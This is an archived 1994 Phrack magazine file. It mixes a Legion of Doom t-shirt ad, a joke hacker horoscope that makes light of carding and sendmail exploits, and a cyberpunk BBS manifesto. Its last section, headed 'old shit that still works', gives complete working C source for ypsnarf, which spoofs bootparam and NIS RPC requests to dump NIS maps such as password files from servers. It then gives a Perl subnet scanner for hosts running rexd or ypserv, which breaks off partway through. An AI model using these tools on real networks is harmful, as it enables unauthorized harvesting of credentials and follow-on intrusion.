home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack46.004 < prev    next >
Encoding:
Text File  |  2003-06-11  |  54.4 KB  |  1,775 lines

  1.                          ==Phrack Magazine==
  2.  
  3.               Volume Five, Issue Forty-Six, File 4 of 28
  4.  
  5.  
  6.                            //   //  /\   //   ====
  7.                           //   //  //\\ //   ====
  8.                          ==== //  //  \\/   ====
  9.  
  10.                      /\   //  // \\    //  /===   ====
  11.                     //\\ //  //   //  //   \=\   ====
  12.                    //  \\/    \\ //  //   ===/  ====
  13.  
  14.                                  PART II
  15.  
  16. ------------------------------------------------------------------------------
  17.  
  18. The official Legion of Doom t-shirts are still available.
  19. Join the net.luminaries world-wide in owning one of
  20. these amazing shirts.  Impress members of the opposite sex, increase
  21. your IQ, annoy system administrators, get raided by the government and
  22. lose your wardrobe!
  23.  
  24. Can a t-shirt really do all this?  Of course it can!
  25.  
  26. --------------------------------------------------------------------------
  27.  
  28. "THE HACKER WAR  --  LOD vs MOD"
  29.  
  30. This t-shirt chronicles the infamous "Hacker War" between rival
  31. groups The Legion of Doom and  The Masters of Destruction.  The front
  32. of the shirt displays a flight map of the various battle-sites
  33. hit by MOD and tracked by LOD.  The back of the shirt
  34. has a detailed timeline of the key dates in the conflict, and
  35. a rather ironic quote from an MOD member.
  36.  
  37. (For a limited time, the original is back!)
  38.  
  39. "LEGION OF DOOM  --  INTERNET WORLD TOUR"
  40.  
  41. The front of this classic shirt displays "Legion of Doom Internet World
  42. Tour" as well as a sword and telephone intersecting the planet
  43. earth, skull-and-crossbones style.  The back displays the
  44. words "Hacking for Jesus" as well as a substantial list of "tour-stops"
  45. (internet sites) and a quote from Aleister Crowley.
  46.  
  47. --------------------------------------------------------------------------
  48.  
  49. All t-shirts are sized XL, and are 100% cotton.
  50.  
  51. Cost is $15.00 (US) per shirt.  International orders add $5.00 per shirt for
  52. postage.
  53.  
  54. Send checks or money orders.  Please, no credit cards, even if
  55. it's really your card.
  56.  
  57.  
  58. Name:       __________________________________________________
  59.  
  60. Address:    __________________________________________________
  61.  
  62. City, State, Zip:   __________________________________________
  63.  
  64.  
  65. I want ____ "Hacker War" shirt(s)
  66.  
  67. I want ____ "Internet World Tour" shirt(s)
  68.  
  69. Enclosed is $______ for the total cost.
  70.  
  71.  
  72. Mail to:   Chris Goggans
  73.            603 W. 13th #1A-278
  74.            Austin, TX 78701
  75.  
  76.  
  77. These T-shirts are sold only as a novelty items, and are in no way
  78. attempting to glorify computer crime.
  79.  
  80. ------------------------------------------------------------------------------
  81.  
  82.                               introducing...
  83.  
  84.                     The PHRACK Horoscope, Summer 1994
  85.  
  86.   Foreseen in long nights of nocturnal lubrication by Onkel Dittmeyer
  87.  
  88.                                  ---
  89.  
  90.   Do you believe in the stars? Many do, some don't. In fact, the stars
  91. can tell you a whole lot about the future. That's bullshit? You don't
  92. believe it? Good. Be doomed. See you in hell. Here's the official PHRACK
  93. horoscope for all eleet hackerz for the summer of 1994.
  94.  
  95.   You can use this chart to find out your zodiac sign by your DOB.
  96.  
  97.      Aquarius.....01/20 - 02/18       Leo..........07/23 - 08/22
  98.      Pisces.......02/19 - 03/20       Virgo........08/23 - 09/22
  99.      Aries........03/21 - 04/19       Libra........09/23 - 10/22
  100.      Taurus.......04/20 - 05/20       Scorpio......10/23 - 11/21
  101.      Gemini.......05/21 - 06/20       Sagittarius..11/22 - 12/21
  102.      Cancer.......06/21 - 07/22       Capricorn....12/22 - 01/19
  103.  
  104.                                  ---
  105.  
  106.                oOo This summer's best combinations oOo
  107.  
  108.     YOU                   LOVE           BS VICTIM     H0T WAREZ
  109.     ==============================================================
  110.     Aquarius              Libra          Leo           Sagittarius
  111.     Pisces                Sagittarius    Aquarius      Cancer
  112.     Aries                 Aries          Cancer        Capricorn
  113.     Taurus                Gemini         Pisces        Taurus
  114.     Gemini                Cancer         Aries         Scorpio
  115.     Cancer                Leo            Virgo         Gemini
  116.     Leo                   Scorpio        Gemini        Leo
  117.     Virgo                 Capricorn      Sagittarius   Libra
  118.     Libra                 Virgo          Libra         Virgo
  119.     Scorpio               Pisces         Capricorn     Pisces
  120.     Sagittarius           Aquarius       Scorpio       Aquarius
  121.     Capricorn             Taurus         Taurus        Aries
  122.     ==============================================================
  123.  
  124.                                  ---
  125.  
  126.    And Now... The 3l33t And Official PHRACK Summer 1994 Horoscope!
  127.  
  128.    Aries [March 21st - April 19th]
  129.  
  130.  There is a pot full of k0DeZ at the end of the rainbow for you.
  131.  Try to channel all your ambition on finding it, hint: you won't
  132.  find it in /bin/gif/kitchen.gear.
  133.  Warning: Risk of bust between August 5th and August 10th!
  134.  Luck [oooo.] - Wealth [oo...] - Bust risk [ooo..] - Love [o....]
  135.  
  136.    Taurus [April 20th - May 20th]
  137.  
  138.  PhedZzZz are lurking behind Saturn, obscured behind one of the rings.
  139.  Be sure to *67 all your calls, and you'll be fine. Hint: Don't undertake
  140.  any interstellar space travel, and avoid big yellow ships.
  141.  Watch out for SprintNet Security between July 12th and August 1st.
  142.  Luck [oo...] - Wealth [oo...] - Bust risk [oooo.] - Love [ooo..]
  143.  
  144.    Gemini [May 21st - June 20th]
  145.  
  146.  There might be a force dragging you into warez boards. Try to resist
  147.  the attraction, or you might be thrown out of the paradise.
  148.  Hint: If a stranger with a /ASL connect crosses your way, stay away
  149.  from him.
  150.  Warning: Your Dual Standard HST might explode sometime in June.
  151.  Luck [o....] - Wealth [ooo..] - Bust risk [o....] - Love [oo...]
  152.  
  153.    Cancer [June 21st - July 22nd]
  154.  
  155.  There are dark forces on your trail. Try to avoid all people wearing
  156.  suits, don't get in their cars, and don't let them give you shit.
  157.  Hint: Leave the country as soon if you can, or you won't be able to.
  158.  Look out for U4EA on IRC in late July, you might get /killed.
  159.  Luck [o....] - Wealth [oo...] - Bust risk [ooooo] - Love [oo...]
  160.  
  161.    Leo [July 23rd - August 22nd]
  162.  
  163.  The path of Venus this year tells us that there is love on the way
  164.  for you. Don't look for it on X-rated ftp sites, it might be out there
  165.  somewhere. Hint: Try getting out of the house more frequently or you
  166.  might miss it.
  167.  Warning: If Monica Weaver comes across your way, break and run!
  168.  Luck [ooo..] - Wealth [o....] - Bust risk [oo...] - Love [oooo.]
  169.  
  170.    Virgo [August 23rd - September 22nd]
  171.  
  172.  Pluto tells us that you should stay away from VAXes in the near future.
  173.  Lunatic force tells us that you might have more luck on Berkeley UNIX.
  174.  Hint: Try to go beyond cat /etc/passwd. Explore sendmail bugs.
  175.  Warning: In the first week of October, there is a risk of being ANIed.
  176.  Luck [oooo.] - Wealth [oo...] - Bust risk [oo...] - Love [o....]
  177.  
  178.    Libra [September 23rd - October 22nd]
  179.  
  180.  The closer way of Mars around the Sun this year might mean that you
  181.  will be sued by a telco or a big corporation. The eclipse of Uranus
  182.  could say that you might have some luck and card a VGA 486 Laptop.
  183.  Hint: Be careful on the cordless.
  184.  Watch out for good stuff in dumpsters between July 23rd and July 31st.
  185.  Luck [oo...] - Wealth [o....] - Bust risk [oooo.] - Love [oo...]
  186.  
  187.    Scorpio [October 23rd - November 21st]
  188.  
  189.  Sun propulsions say that you should spend more time exploring the
  190.  innards of credit report systems, but be aware that Saturn reminds
  191.  you that one local car dealer has his I.D. monitored.
  192.  Hint: Stay out of #warez
  193.  Warning: A star called 43-141 might be your doom. Watch out.
  194.  Luck [ooo..] - Wealth [oooo.] - Bust risk [oo...] - Love [oo...]
  195.  
  196.    Sagittarius [November 22nd - December 21st]
  197.  
  198.  Cold storms on Pluto suggest that you don't try to play eleet
  199.  anarchist on one of the upcoming cons. Pluto also sees that there
  200.  might be a slight chance that you catch a bullet pestering a cop.
  201.  Hint: Be nice to your relatives.
  202.  You might get lucky BSing during the third week of August.
  203.  Luck [o....] - Wealth [oo...] - Bust risk [ooo..] - Love [oo...]
  204.  
  205.    Capricorn [December 22nd - January 19th]
  206.  
  207.  This summer brings luck to you. Everything you try is about to work
  208.  out. You might find financial gain in selling k0DeZ to local warez
  209.  bozos. Hint: Don't try to BS at a number who is a prime number, they
  210.  will trace your ass and beat you to death with a raw cucumber.
  211.  Special kick of luck between June 14th and July 2nd.
  212.  Luck [ooooo] - Wealth [oooo.] - Bust risk [oo...] - Love [ooo..]
  213.  
  214.    Aquarius [January 20th - February 18th]
  215.  
  216.  The third moon of Saturn suggests to stay in bed over the whole
  217.  summer, or everything will worsen. Avoid to go to any meetings
  218.  and cons. Do not try to get up before September 11th.
  219.  Hint: You can risk to call PRODIGY and have a gR3aT time.
  220.  Warning: High chance of eavesdroping on your line on August 14th.
  221.  Luck [.....] - Wealth [o....] - Bust risk [ooooo] - Love [o....]
  222.  
  223.    Pisces [February 19th - March 20th]
  224.  
  225.  Mars reads a high mobility this summer. You should try to go to a
  226.  foreign county, maybe visit HEU II. Finances will be OK. Do not go
  227.  on any buses for that might be your doom.
  228.  Hint: Don't get a seat near a window, whatever you do.
  229.  Warning: Avoid 6'8" black guys in Holland, they might go for your ass.
  230.  Luck [ooo..] - Wealth [ooo..] - Bust risk [o....] - Love [oo...]
  231.  
  232.  
  233. If your horoscope does not come true, complain to god@heaven.mil.   31337
  234. If it does, you are welcome to report it to onkeld@ponton.hanse.de. 43V3R
  235.  
  236. ------------------------------------------------------------------------------
  237.  
  238. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  239.                    The SenseReal Mission
  240.   If you are reading this it indicates you have reached a point
  241. along your journey that you will have to decide whether you agree
  242. with The SenseReal Foundation or whether you think that those who
  243. believe and support The SenseReal Foundation are crazy. Your
  244. decision to join The SenseReal Foundation on it's mission will
  245. undoubtedly change your life forever. When you understand the
  246. reason it exists and what it seeks you will better know how to
  247. decide. That is why this text was created.
  248.   He is known as Green Ghost. Some know him as Jim Nightshade. He
  249. was born in 1966. He is not a baby boomer and he is not a
  250. Generation Xer. He falls into that group of the population that
  251. has so far escaped definition. He is a (yberpunk. He was (yberpunk
  252. before (yberpunk was cool. He is the founder and leader of The
  253. SenseReal Foundation. You will learn more about him later.
  254.   But first you will have to know about the background. There once
  255. was a man named Albert Hoffman. In 1943, on April 16 Hoffman
  256. absorbed a threshold amount of the drug known as LSD. He
  257. experienced "a peculiar restlessness". LSD since that time has
  258. played an important role in this world.
  259.   There are other agents involved in the story. Mary Pinchot, JFK,
  260. Nixon, Charles Manson, Jimi Hendrix, Timothy Leary, Elvis Presley
  261. and many others. There are too many details and explanations
  262. necessary to explain everything here. But this does not matter.
  263.   Because the SenseReal Foundation is about riding the wave. We
  264. believe that the ultimate goal cannot be defined. To define it
  265. would be to destroy it.
  266.   The SenseReal Foundation hopes that things can be changed for
  267. the better. But we realize that the situation can become
  268. much worse. From what history teaches us and what we instinctively
  269. feel, we know that there is a great probability that things will
  270. get much worse before and if things ever get better. Doom looms
  271. on the horizon like an old friend.
  272.   Freedom is being threatened every day and The SenseReal
  273. Foundation seeks to defend and seek Freedom. Big Brother is here
  274. NOW and to deny his existence is only to play into his hand. The
  275. goal of our government both here in America and worldwide is to
  276. remain in power and increase it's control of The People. To
  277. expose Big Brother and destroy him is one of the many goals of
  278. The SenseReal Foundation.
  279.   As a member of (yberspace and an agent of The SenseReal
  280. Foundation you will have to carefully consider your interaction
  281. with the flow of Info. The ideals of Liberty must be maintained.
  282.   The SenseReal Foundation provides a grounding point. The place
  283. where the spark transfers from plasma to light and back to plasma.
  284. Tesla was not on the wrong track. The SenseReal Foundation is a
  285. mechanism which seeks to increase Freedom. Only by learning more
  286. can we defeat the Evil. The Good must prevail.
  287.   If you have the Hacker spirit and think along the same lines
  288. then The SenseReal Foundation may be your calling. If you think
  289. like J.R. Dobbs or Green Ghost then it is possible we can make it
  290. through The Apocalypse. A final date has never been announced for
  291. this event. Green Ghost does not claim to know the exact date but
  292. he does claim to have some Info on it.
  293.   Green Ghost does not claim to have all the answers or even to
  294. know all the questions. He was first exposed to computers in the
  295. early 70's at his local high school. The first computer he ever
  296. used was a Honeywell terminal connected to a mainframe operated
  297. at the home office of Honeywell and operated for the school.
  298.   This machine was programed by feeding it stacks of cards with
  299. boxes X'd out with a No. 2 pencil. It did have a keyboard hooked
  300. up to a printer which served for the monitor. The text was typed
  301. out and the paper rolled out of the machine in great waves.
  302. This experience left him wanting more. Somewhere between the
  303. machine and the mind were all the questions and all the answers.
  304.   The SenseReal Foundation will supply some of the means. We
  305. must all work together if we are to succeed. UNITED WE STAND,
  306. DIVIDED WE FALL. If you wish to participate with The SenseReal
  307. Foundation you must devote yourself to becoming an Info Agent.
  308.   As an Info Agent it is your duty to seek Truth and Knowledge
  309. out wherever it is located. To Learn and to seek to increase
  310. the Learning of all at The SenseReal Foundation. Different
  311. people will be needed to help out in different ways.
  312.   SenseReal's Info Agents are located all around the world and
  313. are in contact with fellow SenseReal members via any one of
  314. several SenseReal facilities. The primary establishment and
  315. headquarters of The SenseReal Foundation is SenseReal's own
  316. online system:
  317.        T /-/ E  /-/ /=\ ( /< E R ' S  /\/\ /=\ /\/ S / O /\/
  318.             >>>::: 1 - 8 0 3 - 7 8 5 - 5 0 8 0 :::<<<
  319.  27 Hours Per Day  /14.4 Supra /Home of The SenseReal Foundation
  320. Also contact via SenseReal's mail drop by writing or sending
  321. materials to:   TSF              \   Electronic Mail:
  322.            P.O. BOX 6914         \   Green_Ghost@neonate.atl.ga.us
  323.       HILTON HEAD, SC 29938-6914 \
  324.   The Hacker's /\/\ansion is a system like no other. While it is
  325. not your typical Hackers board it has much Info on Hacking. While
  326. it is not like any Adult system you've ever seen it has the most
  327. finest Adult material available anywhere. It is not a Warez board
  328. but we are definitely Pirates. Because we are (yberpunks. What
  329. makes the Hacker's Mansion different is our emphasis on quality.
  330.   Everything that you find at The /-/acker's /\/\ansion is 1ST
  331. (lass. All the coolest E-zines are pursued here. Phrack, CUD, and
  332. Thought Virus to name just a few. Of course there is one other
  333. source for Thought Virus:
  334.   Send E-Mail to:  ListServ@neonate.atl.ga.us
  335. In the subject or body of the message write:
  336.   FAQ ThoughtCriminals
  337. and you will receive the current issue in your E-Mail box in no
  338. time.  If you wish to join the Thought Criminals mailing list and
  339. communicate with your fellow Thought Criminals via E-Mail then
  340. send another message to: ListServ@neonate.atl.ga.us
  341. and write the following in the subject or body of the message:
  342.   Subscribe ThoughtCriminals Your-Address-Here
  343. or simply: Subscribe ThoughtCriminals
  344. To mail others on the Thought Criminals mailing list send a message
  345. to: ThoughtCriminals@neonate.atl.ga.us
  346. Tell us all. Communication is vital. Our survival may depend on
  347. it. The SenseReal Foundation is about the allegiance of many
  348. people, and indeed beings, as our friends from other planets can
  349. tell you. The EFF inspired us and was a model but we don't have
  350. the EFF's money so we need YOU. If you are someone who can
  351. contribute or who believes in The Cause or are just interested
  352. in Tax Resistance or the Free The Weed movement then you should
  353. join The SenseReal Foundation today. Contact us through any of
  354. above channels and become a Freedom Fighter today. Time is of
  355. the essence.
  356. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  357.  
  358. ------------------------------------------------------------------------------
  359.  
  360.                     ** OLD SHIT THAT STILL WORKS **
  361.  
  362.                            -  sometimes  -
  363.  
  364. /*
  365.  * THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN
  366.  * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE
  367.  * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM.  PLEASE DO NOT
  368.  * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY.
  369.  *
  370.  * ypsnarf - exercise security holes in yp/nis.
  371.  *
  372.  * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik
  373.  * (casper@fwi.uva.nl).
  374.  *
  375.  * Usage:
  376.  *  ypsnarf server client
  377.  *   - to obtain the yp domain name
  378.  *  ypsnarf server domain mapname
  379.  *   - to obtain a copy of a yp map
  380.  *  ypsnarf server domain maplist
  381.  *   - to obtain a list of yp maps
  382.  *
  383.  * In the first case, we lie and pretend to be the host "client", and send
  384.  * a BOOTPARAMPROC_WHOAMI request to the host "server".  Note that for this
  385.  * to work, "server" must be running rpc.bootparamd, and "client" must be a
  386.  * diskless client of (well, it must boot from) "server".
  387.  *
  388.  * In the second case, we send a YPPROC_DOMAIN request to the host "server",
  389.  * asking if it serves domain "domain".  If so, we send YPPROC_FIRST and
  390.  * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
  391.  * "mapname".  Note that you must specify the full yp map name, you cannot
  392.  * use the shorthand names provided by "ypcat".
  393.  *
  394.  * In the third case, the special map name "maplist" tells ypsnarf to send
  395.  * a YPPROC_MAPLIST request to the server and get the list of maps in domain
  396.  * "domain", instead of getting the contents of a map.  If the server has a
  397.  * map called "maplist" you can't get it.  Oh well.
  398.  *
  399.  * Since the callrpc() routine does not make any provision for timeouts, we
  400.  * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
  401.  * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
  402.  *
  403.  * This program uses UDP packets, which means there's a chance that things
  404.  * will get dropped on the floor; it's not a reliable stream like TCP.  In
  405.  * practice though, this doesn't seem to be a problem.
  406.  *
  407.  * To compile:
  408.  *  cc -o ypsnarf ypsnarf.c -lrpcsvc
  409.  *
  410.  * David A. Curry
  411.  * Purdue University
  412.  * Engineering Computer Network
  413.  * Electrical Engineering Building
  414.  * West Lafayette, IN 47907
  415.  * davy@ecn.purdue.edu
  416.  * January, 1991
  417.  */
  418. #include <sys/param.h>
  419. #include <sys/socket.h>
  420. #include <netinet/in.h>
  421. #include <arpa/inet.h>
  422. #include <rpc/rpc.h>
  423. #include <rpcsvc/bootparam.h>
  424. #include <rpcsvc/yp_prot.h>
  425. #include <rpc/pmap_clnt.h>
  426. #include <sys/time.h>
  427. #include <signal.h>
  428. #include <string.h>
  429. #include <netdb.h>
  430. #include <stdio.h>
  431.  
  432. #define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd  */
  433. #define YPSNARF_TIMEOUT1 15 /* timeout for initial request */
  434. #define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */
  435.  
  436. char *pname;    /* program name   */
  437.  
  438. main(argc, argv)
  439. char **argv;
  440. int argc;
  441. {
  442.  char *server, *client, *domain, *mapname;
  443.  
  444.  pname = *argv;
  445.  
  446.  /*
  447.   * Process arguments.  This is less than robust, but then
  448.   * hey, you're supposed to know what you're doing.
  449.   */
  450.  switch (argc) {
  451.  case 3:
  452.   server = *++argv;
  453.   client = *++argv;
  454.  
  455.   get_yp_domain(server, client);
  456.   exit(0);
  457.  case 4:
  458.   server = *++argv;
  459.   domain = *++argv;
  460.   mapname = *++argv;
  461.  
  462.   if (strcmp(mapname, "maplist") == 0)
  463.    get_yp_maplist(server, domain);
  464.   else
  465.    get_yp_map(server, domain, mapname);
  466.   exit(0);
  467.  default:
  468.   fprintf(stderr, "Usage: %s server client         -", pname);
  469.   fprintf(stderr, "to obtain yp domain name\n");
  470.   fprintf(stderr, "       %s server domain mapname -", pname);
  471.   fprintf(stderr, "to obtain contents of yp map\n");
  472.   exit(1);
  473.  }
  474. }
  475.  
  476. /*
  477.  * get_yp_domain - figure out the yp domain used between server and client.
  478.  */
  479. get_yp_domain(server, client)
  480. char *server, *client;
  481. {
  482.  long hostip;
  483.  struct hostent *hp;
  484.  bp_whoami_arg w_arg;
  485.  bp_whoami_res w_res;
  486.  extern void timeout();
  487.  enum clnt_stat errcode;
  488.  
  489.  /*
  490.   * Just a sanity check, here.
  491.   */
  492.  if ((hp = gethostbyname(server)) == NULL) {
  493.   fprintf(stderr, "%s: %s: unknown host.\n", pname, server);
  494.   exit(1);
  495.  }
  496.  
  497.  /*
  498.   * Allow the client to be either an internet address or a
  499.   * host name.  Copy in the internet address.
  500.   */
  501.  if ((hostip = inet_addr(client)) == -1) {
  502.   if ((hp = gethostbyname(client)) == NULL) {
  503.    fprintf(stderr, "%s: %s: unknown host.\n", pname,
  504.     client);
  505.    exit(1);
  506.   }
  507.  
  508.   bcopy(hp->h_addr_list[0],
  509.         (caddr_t) &w_arg.client_address.bp_address.ip_addr,
  510.         hp->h_length);
  511.  }
  512.  else {
  513.   bcopy((caddr_t) &hostip,
  514.         (caddr_t) &w_arg.client_address.bp_address.ip_addr,
  515.         sizeof(ip_addr_t));
  516.  }
  517.  
  518.  w_arg.client_address.address_type = IP_ADDR_TYPE;
  519.  bzero((caddr_t) &w_res, sizeof(bp_whoami_res));
  520.  
  521.  /*
  522.   * Send a BOOTPARAMPROC_WHOAMI request to the server.  This will
  523.   * give us the yp domain in the response, IFF client boots from
  524.   * the server.
  525.   */
  526.  signal(SIGALRM, timeout);
  527.  alarm(YPSNARF_TIMEOUT1);
  528.  
  529.  errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
  530.      BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
  531.      xdr_bp_whoami_res, &w_res);
  532.  
  533.  alarm(0);
  534.  
  535.  if (errcode != RPC_SUCCESS)
  536.   print_rpc_err(errcode);
  537.  
  538.  /*
  539.   * Print the domain name.
  540.   */
  541.  printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);
  542.  
  543.  /*
  544.   * The maximum domain name length is 255 characters, but the
  545.   * rpc.bootparamd program truncates anything over 32 chars.
  546.   */
  547.  if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
  548.   printf(" (truncated?)");
  549.  
  550.  /*
  551.   * Put out the client name, if they didn't know it.
  552.   */
  553.  if (hostip != -1)
  554.   printf(" (client name = %s)", w_res.client_name);
  555.  
  556.  putchar('\n');
  557. }
  558.  
  559. /*
  560.  * get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
  561.  */
  562. get_yp_map(server, domain, mapname)
  563. char *server, *domain, *mapname;
  564. {
  565.  char *reqp;
  566.  bool_t yesno;
  567.  u_long calltype;
  568.  bool (*xdr_proc)();
  569.  extern void timeout();
  570.  enum clnt_stat errcode;
  571.  struct ypreq_key keyreq;
  572.  struct ypreq_nokey nokeyreq;
  573.  struct ypresp_key_val answer;
  574.  
  575.  /*
  576.   * This code isn't needed; the next call will give the same
  577.   * error message if there's no yp server there.
  578.   */
  579. #ifdef not_necessary
  580.  /*
  581.   * "Ping" the yp server and see if it's there.
  582.   */
  583.  signal(SIGALRM, timeout);
  584.  alarm(YPSNARF_TIMEOUT1);
  585.  
  586.  errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
  587.      xdr_void, 0);
  588.  
  589.  alarm(0);
  590.  
  591.  if (errcode != RPC_SUCCESS)
  592.   print_rpc_err(errcode);
  593. #endif
  594.  
  595.  /*
  596.   * Figure out whether server serves the yp domain we want.
  597.   */
  598.  signal(SIGALRM, timeout);
  599.  alarm(YPSNARF_TIMEOUT1);
  600.  
  601.  errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
  602.      xdr_wrapstring, (caddr_t) &domain, xdr_bool,
  603.      (caddr_t) &yesno);
  604.  
  605.  alarm(0);
  606.  
  607.  if (errcode != RPC_SUCCESS)
  608.   print_rpc_err(errcode);
  609.  
  610.  /*
  611.   * Nope...
  612.   */
  613.  if (yesno == FALSE) {
  614.   fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
  615.    server, domain);
  616.   exit(1);
  617.  }
  618.  
  619.  /*
  620.   * Now we just read entry after entry...  The first entry we
  621.   * get with a nokey request.
  622.   */
  623.  keyreq.domain = nokeyreq.domain = domain;
  624.  keyreq.map = nokeyreq.map = mapname;
  625.  reqp = (caddr_t) &nokeyreq;
  626.  keyreq.keydat.dptr = NULL;
  627.  
  628.  answer.status = TRUE;
  629.  calltype = YPPROC_FIRST;
  630.  xdr_proc = xdr_ypreq_nokey;
  631.  
  632.  while (answer.status == TRUE) {
  633.   bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));
  634.  
  635.   signal(SIGALRM, timeout);
  636.   alarm(YPSNARF_TIMEOUT2);
  637.  
  638.   errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
  639.       reqp, xdr_ypresp_key_val, &answer);
  640.  
  641.   alarm(0);
  642.  
  643.   if (errcode != RPC_SUCCESS)
  644.    print_rpc_err(errcode);
  645.  
  646.   /*
  647.    * Got something; print it.
  648.    */
  649.   if (answer.status == TRUE) {
  650.    printf("%.*s\n", answer.valdat.dsize,
  651.           answer.valdat.dptr);
  652.   }
  653.  
  654.   /*
  655.    * Now we're requesting the next item, so have to
  656.    * send back the current key.
  657.    */
  658.   calltype = YPPROC_NEXT;
  659.   reqp = (caddr_t) &keyreq;
  660.   xdr_proc = xdr_ypreq_key;
  661.  
  662.   if (keyreq.keydat.dptr)
  663.    free(keyreq.keydat.dptr);
  664.  
  665.   keyreq.keydat = answer.keydat;
  666.  
  667.   if (answer.valdat.dptr)
  668.    free(answer.valdat.dptr);
  669.  }
  670. }
  671.  
  672. /*
  673.  * get_yp_maplist - get the yp map list for  yp domain "domain" from server.
  674.  */
  675. get_yp_maplist(server, domain)
  676. char *server, *domain;
  677. {
  678.  bool_t yesno;
  679.  extern void timeout();
  680.  struct ypmaplist *mpl;
  681.  enum clnt_stat errcode;
  682.  struct ypresp_maplist maplist;
  683.  
  684.  /*
  685.   * This code isn't needed; the next call will give the same
  686.   * error message if there's no yp server there.
  687.   */
  688. #ifdef not_necessary
  689.  /*
  690.   * "Ping" the yp server and see if it's there.
  691.   */
  692.  signal(SIGALRM, timeout);
  693.  alarm(YPSNARF_TIMEOUT1);
  694.  
  695.  errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
  696.      xdr_void, 0);
  697.  
  698.  alarm(0);
  699.  
  700.  if (errcode != RPC_SUCCESS)
  701.   print_rpc_err(errcode);
  702. #endif
  703.  
  704.  /*
  705.   * Figure out whether server serves the yp domain we want.
  706.   */
  707.  signal(SIGALRM, timeout);
  708.  alarm(YPSNARF_TIMEOUT1);
  709.  
  710.  errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
  711.      xdr_wrapstring, (caddr_t) &domain, xdr_bool,
  712.      (caddr_t) &yesno);
  713.  
  714.  alarm(0);
  715.  
  716.  if (errcode != RPC_SUCCESS)
  717.   print_rpc_err(errcode);
  718.  
  719.  /*
  720.   * Nope...
  721.   */
  722.  if (yesno == FALSE) {
  723.   fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
  724.    server, domain);
  725.   exit(1);
  726.  }
  727.  
  728.  maplist.list = (struct ypmaplist *) NULL;
  729.  
  730.  /*
  731.   * Now ask for the list.
  732.   */
  733.  signal(SIGALRM, timeout);
  734.  alarm(YPSNARF_TIMEOUT1);
  735.  
  736.  errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
  737.      xdr_wrapstring, (caddr_t) &domain,
  738.      xdr_ypresp_maplist, &maplist);
  739.  
  740.  alarm(0);
  741.  
  742.  if (errcode != RPC_SUCCESS)
  743.   print_rpc_err(errcode);
  744.  
  745.  if (maplist.status != YP_TRUE) {
  746.   fprintf(stderr, "%s: cannot get map list: %s\n", pname,
  747.    yperr_string(ypprot_err(maplist.status)));
  748.   exit(1);
  749.  }
  750.  
  751.  /*
  752.   * Print out the list.
  753.   */
  754.  for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
  755.   printf("%s\n", mpl->ypml_name);
  756. }
  757.  
  758. /*
  759.  * print_rpc_err - print an rpc error and exit.
  760.  */
  761. print_rpc_err(errcode)
  762. enum clnt_stat errcode;
  763. {
  764.  fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));
  765.  exit(1);
  766. }
  767.  
  768. /*
  769.  * timeout - print a timeout and exit.
  770.  */
  771. void timeout()
  772. {
  773.  fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);
  774.  exit(1);
  775. }
  776.  
  777. ------------------------------------------------------------------------------
  778.  
  779. #!/bin/perl -s
  780. #
  781. #   Scan a subnet for valid hosts; if given hostname, will look at the
  782. # 255 possible hosts on that net.  Report if host is running rexd or
  783. # ypserv.
  784. #
  785. #  Usage:  scan n.n.n.n
  786.  
  787. # mine, by default
  788. $default = "130.80.26";
  789.  
  790. $| = 1;
  791.  
  792. if ($v) { $verbose = 1; }
  793.  
  794. if ($#ARGV == -1) { $root = $default; }
  795. else { $root = $ARGV[0]; }
  796.  
  797. # ip address
  798. if ($root !~ /[0-9]+\.[0-9]+\.[0-9]+/) {
  799.         ($na, $ad, $ty, $le, @host_ip) = gethostbyname($root);
  800.         ($one,$two,$three,$four) = unpack('C4',$host_ip[0]);
  801.         $root = "$one.$two.$three";
  802.         if ($root eq "..") { die "Can't figure out what to scan...\n"; }
  803.         }
  804.  
  805. print "Subnet $root:\n" if $verbose;
  806. for $i (01..255) {
  807.         print "Trying $root.$i\t=> " if $verbose;
  808.         &resolve("$root.$i");
  809.         }
  810.  
  811. #
  812. #  Do the work
  813. #
  814. sub resolve {
  815.  
  816. local($name) = @_;
  817.  
  818. # ip address
  819. if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
  820.         ($a,$b,$c,$d) = split(/\./, $name);
  821.         @ip = ($a,$b,$c,$d);
  822.         ($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
  823.         }
  824. else {
  825.         ($name, $aliases, $type, $len, @ip) = gethostbyname($name);
  826.         ($a,$b,$c,$d) = unpack('C4',$ip[0]);
  827.         }
  828.  
  829. if ($name && @ip) {
  830.         print "$a.$b.$c.$d\t$name\n";
